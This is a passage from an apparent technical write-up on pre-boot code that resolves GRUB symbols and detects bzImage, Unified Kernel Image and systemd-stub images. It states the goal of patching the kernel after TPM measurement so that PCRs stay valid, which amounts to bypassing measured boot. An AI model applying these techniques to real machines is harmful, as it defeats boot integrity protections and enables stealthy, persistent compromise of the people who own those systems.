</span></span><span class="line"><span class="cl">    <span class="n">symbol_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">isfunc</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="n">symbol_address</span> <span class="o">&lt;</span> <span class="n">grub</span><span class="o">::</span><span class="n">text_section_address</span> <span class="o">||</span> <span class="n">symbol_address</span> <span class="o">&gt;=</span> <span class="n">text_end</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">name_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">name_address</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">symbol_address</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">symtab_count</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">candidate</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">candidate</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// count valid entries forward
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">do</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">symtab</span> <span class="o">*</span><span class="n">entry</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">entry_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">symbol_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">uintptr_t</span> <span class="n">name_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">entry</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">candidate</span><span class="p">[</span><span class="n">symtab_count</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">entry_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entry</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">entry_address</span> <span class="o">&gt;=</span> <span class="n">data_end</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">symtab</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">name</span> <span class="o">||</span> <span class="o">!</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">symbol_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">isfunc</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="n">symbol_address</span> <span class="o">&lt;</span> <span class="n">grub</span><span class="o">::</span><span class="n">text_section_address</span> <span class="o">||</span> <span class="n">symbol_address</span> <span class="o">&gt;=</span> <span class="n">text_end</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">name_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">name_address</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">symbol_address</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">symtab_count</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">symtab_array</span> <span class="o">=</span> <span class="n">candidate</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To query a symbol,</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">grub</span><span class="o">::</span><span class="n">find_symbol</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">addr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">symtab_count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">AsciiStrCmp</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">symtab_array</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">name</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">addr</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">symtab_array</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>You can resolve symbol address without needing offsets or AOBs.</p>
<h3 id="identifying-bzimage">Identifying bzImage</h3>
<p>This is probably the easiest heuristic of all: bzImage contains a &ldquo;HdrS&rdquo; signature at offset 0x202</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_bzimage</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">image_base</span><span class="p">,</span> <span class="n">size_t</span> <span class="n">image_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">image_size</span> <span class="o">&lt;</span> <span class="mh">0x206</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">c</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">image_base</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="mh">0x202</span><span class="p">],</span> <span class="s">&#34;HdrS&#34;</span><span class="p">,</span> <span class="mi">4</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="identifying-uki--systemd-stub">Identifying UKI &amp; SystemD stub</h3>
<p>Do not confuse SystemD stub with SystemD boot. SystemD boot is a bootloader which ultimately loads an bzImage/UKI/OS through <code>LoadImage</code>. SystemD stub is the main implementation for Unified Kernel Images which embeds a bzImage within. But why are UKIs a thing?</p>
<p>Booting Linux was always messy for developers. UKIs are the natural evolution that enforces measured boot security and a proper protocol for passing initrd, cmdline, splash, etc. TPM measurements are explicitly mentioned by the <a href="https://uapi-group.org/specifications/specs/unified_kernel_image/">UKI specs</a>:

<blockquote class="pull">On systems with a Trusted Platform Module (TPM) the UEFI boot stub shall measure the sections listed above, starting from the .linux section, in the order as listed (which should be considered the canonical order). The .pcrsig section is not measured.</blockquote>

And a .linux section containing bzImage is a hard requirement:

<blockquote class="pull">UKIs consist of the following resources: &hellip; The Linux kernel in the .linux PE section.
Only the .linux section is required for the image to be considered a Unified Kernel Image.</blockquote>

Therefore, to detect a valid UKI:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_uki</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">image_base</span><span class="p">,</span> <span class="n">size_t</span> <span class="n">image_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">contained_bzimage_base</span><span class="p">,</span> <span class="n">contained_bzimage_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">pe</span><span class="o">::</span><span class="n">get_section</span><span class="p">(</span><span class="n">image_base</span><span class="p">,</span> <span class="s">&#34;.linux&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">contained_bzimage_base</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">contained_bzimage_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>And SystemD stub specifically:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">is_systemd_stub</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">image_base</span><span class="p">,</span> <span class="n">size_t</span> <span class="n">image_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="k">constexpr</span> <span class="n">image_signature</span><span class="o">&lt;</span><span class="mi">64</span><span class="o">&gt;</span> <span class="n">signatures</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="s">&#34;systemd/src/boot/stub.c&#34;</span><span class="p">,</span> <span class="s">&#34;systemd.stub.kernel-cmdline-extra&#34;</span><span class="p">,</span> <span class="s">&#34;systemd-stub&#34;</span><span class="p">};</span>
</span></span><span class="line"><span class="cl">  <span class="k">static</span> <span class="k">constexpr</span> <span class="n">size_t</span> <span class="n">max_str_len</span> <span class="o">=</span> <span class="n">max_sig_len</span><span class="p">(</span><span class="n">signatures</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">image_size</span> <span class="o">&gt;=</span> <span class="n">max_str_len</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">size_t</span> <span class="n">search_limit</span> <span class="o">=</span> <span class="n">image_size</span> <span class="o">-</span> <span class="n">max_str_len</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">uintptr_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="n">search_limit</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">image_base</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">for</span> <span class="p">(</span><span class="k">const</span> <span class="k">auto</span> <span class="o">&amp;</span><span class="nl">s</span> <span class="p">:</span> <span class="n">signatures</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">memcmp</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="n">str</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="n">len</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To bypass measurements, we need to patch them post-measurement so PCRs are valid and intact. In SystemD stub, <a href="https://github.com/systemd/systemd/blob/e3a224a46dea61b861d3f6ea79ad4abb0fab4b3a/src/boot/stub.c#L1310">TPM extends occur before changing page protections of the newly mapped bzImage in memory</a> (memory protection is changed at <code>linux_exec</code>):</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">EFI_STATUS</span> <span class="nf">run</span><span class="p">(</span><span class="n">EFI_HANDLE</span> <span class="n">image</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="cm">/* snip */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">measure_profile</span><span class="p">(</span><span class="n">profile</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">measure_sections</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sections_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Show splash screen as early as possible, but after measuring it */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">display_splash</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">refresh_random_seed</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="kt">uint8_t</span> <span class="n">boot_secret</span><span class="p">[</span><span class="n">BOOT_SECRET_SIZE</span><span class="p">]</span> <span class="o">=</span> <span class="p">{};</span> <span class="cm">/* all zeroes means: not acquired */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">CLEANUP_ERASE</span><span class="p">(</span><span class="n">boot_secret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="nf">prepare_boot_secret</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span> <span class="o">+</span> <span class="n">UNIFIED_SECTION_OSREL</span><span class="p">,</span> <span class="n">boot_secret</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">uname</span> <span class="o">=</span> <span class="nf">pe_section_to_str8</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span> <span class="o">+</span> <span class="n">UNIFIED_SECTION_UNAME</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Let&#39;s now check if we actually want to use the command line, measure it if it was passed in. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">settle_command_line</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cmdline</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Now that we have the UKI sections loaded, also load global first and then local (per-UKI)
</span></span></span><span class="line"><span class="cl"><span class="cm">         * addons. The data is loaded at once, and then used later. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">CLEANUP_ARRAY</span><span class="p">(</span><span class="n">dt_addons</span><span class="p">,</span> <span class="n">n_dt_addons</span><span class="p">,</span> <span class="n">named_addon_free_array</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">CLEANUP_ARRAY</span><span class="p">(</span><span class="n">initrd_addons</span><span class="p">,</span> <span class="n">n_initrd_addons</span><span class="p">,</span> <span class="n">named_addon_free_array</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">CLEANUP_ARRAY</span><span class="p">(</span><span class="n">ucode_addons</span><span class="p">,</span> <span class="n">n_ucode_addons</span><span class="p">,</span> <span class="n">named_addon_free_array</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">load_all_addons</span><span class="p">(</span><span class="n">image</span><span class="p">,</span> <span class="n">loaded_image</span><span class="p">,</span> <span class="n">uname</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cmdline_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dt_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_dt_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">initrd_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_initrd_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ucode_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_ucode_addons</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* If we have any extra command line to add via PE addons, load them now and append, and measure the
</span></span></span><span class="line"><span class="cl"><span class="cm">         * additions together, after the embedded options, but before the smbios ones, so that the order is
</span></span></span><span class="line"><span class="cl"><span class="cm">         * reversed from &#34;most hardcoded&#34; to &#34;most dynamic&#34;. The global addons are loaded first, and the
</span></span></span><span class="line"><span class="cl"><span class="cm">         * image-specific ones later, for the same reason. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">cmdline_append_and_measure_addons</span><span class="p">(</span><span class="n">cmdline_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cmdline</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">cmdline_append_and_measure_smbios</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cmdline</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">cmdline_append_console</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cmdline</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="nf">export_common_variables</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">export_stub_variables</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">profile</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Measure SMBIOS data into PCR 1, unless sd-boot already did so in the same boot (tracked via
</span></span></span><span class="line"><span class="cl"><span class="cm">         * the LoaderPcrSMBIOS EFI variable). */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">measure_smbios</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* First load the base device tree, then fix it up using addons - global first, then per-UKI. */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">install_embedded_devicetree</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">dt_state</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">install_addon_devicetrees</span><span class="p">(</span><span class="o">&amp;</span><span class="n">dt_state</span><span class="p">,</span> <span class="n">dt_addons</span><span class="p">,</span> <span class="n">n_dt_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Generate &amp; find all initrds */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">acquire_previous_initrd</span><span class="p">(</span><span class="n">initrds</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">generate_sidecar_initrds</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">initrds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sysext_measured</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">confext_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">generate_embedded_initrds</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span><span class="p">,</span> <span class="n">initrds</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">generate_boot_secret_initrd</span><span class="p">(</span><span class="n">boot_secret</span><span class="p">,</span> <span class="n">initrds</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">lookup_embedded_initrds</span><span class="p">(</span><span class="n">loaded_image</span><span class="p">,</span> <span class="n">sections</span><span class="p">,</span> <span class="n">initrds</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Add initrds in the right order. Generally, later initrds can overwrite files in earlier ones,
</span></span></span><span class="line"><span class="cl"><span class="cm">         * except for ucode, where the kernel uses the first matching embedded filename.
</span></span></span><span class="line"><span class="cl"><span class="cm">         * We want addons to take precedence over the base initrds, so the order is:
</span></span></span><span class="line"><span class="cl"><span class="cm">         * 1. Ucode addons
</span></span></span><span class="line"><span class="cl"><span class="cm">         * 2. UKI ucode
</span></span></span><span class="line"><span class="cl"><span class="cm">         * 3. Previous initrds
</span></span></span><span class="line"><span class="cl"><span class="cm">         * 4. UKI initrd
</span></span></span><span class="line"><span class="cl"><span class="cm">         * 5. Generated initrds
</span></span></span><span class="line"><span class="cl"><span class="cm">         * 6. initrd addons */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">measure_and_append_ucode_addons</span><span class="p">(</span><span class="o">&amp;</span><span class="n">all_initrds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_all_initrds</span><span class="p">,</span> <span class="n">ucode_addons</span><span class="p">,</span> <span class="n">n_ucode_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">extend_initrds</span><span class="p">(</span><span class="n">initrds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">all_initrds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_all_initrds</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nf">measure_and_append_initrd_addons</span><span class="p">(</span><span class="o">&amp;</span><span class="n">all_initrds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">n_all_initrds</span><span class="p">,</span> <span class="n">initrd_addons</span><span class="p">,</span> <span class="n">n_initrd_addons</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">parameters_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Export variables indicating what we measured */</span>
</span></span><span class="line"><span class="cl">        <span class="nf">export_pcr_variables</span><span class="p">(</span><span class="n">sections_measured</span><span class="p">,</span> <span class="n">parameters_measured</span><span class="p">,</span> <span class="n">sysext_measured</span><span class="p">,</span> <span class="n">confext_measured</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="cm">/* Combine the initrds into one */</span>
</span></span><span class="line"><span class="cl">        <span class="n">_cleanup_pages_</span> <span class="n">Pages</span> <span class="n">initrd_pages</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="n">iovec</span> <span class="n">final_initrd</span> <span class="o">=</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">n_all_initrds</span> <span class="o">&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="cm">/* If there is more then 1 initrd we need to combine them */</span>
</span></span><span class="line"><span class="cl">                <span class="n">err</span> <span class="o">=</span> <span class="nf">combine_initrds</span><span class="p">(</span><span class="n">all_initrds</span><span class="p">,</span> <span class="n">n_all_initrds</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">initrd_pages</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">final_initrd</span><span class="p">.</span><span class="n">iov_len</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="n">err</span> <span class="o">!=</span> <span class="n">EFI_SUCCESS</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                        <span class="k">return</span> <span class="n">err</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="n">final_initrd</span><span class="p">.</span><span class="n">iov_base</span> <span class="o">=</span> <span class="nf">PHYSICAL_ADDRESS_TO_POINTER</span><span class="p">(</span><span class="n">initrd_pages</span><span class="p">.</span><span class="n">addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="cm">/* Given these might be large let&#39;s free them explicitly before we pass control to Linux */</span>
</span></span><span class="line"><span class="cl">                <span class="nf">initrds_free</span><span class="p">(</span><span class="o">&amp;</span><span class="n">initrds</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">n_all_initrds</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="n">final_initrd</span> <span class="o">=</span> <span class="n">all_initrds</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">struct</span> <span class="n">iovec</span> <span class="n">kernel</span> <span class="o">=</span> <span class="nf">IOVEC_MAKE</span><span class="p">(</span>
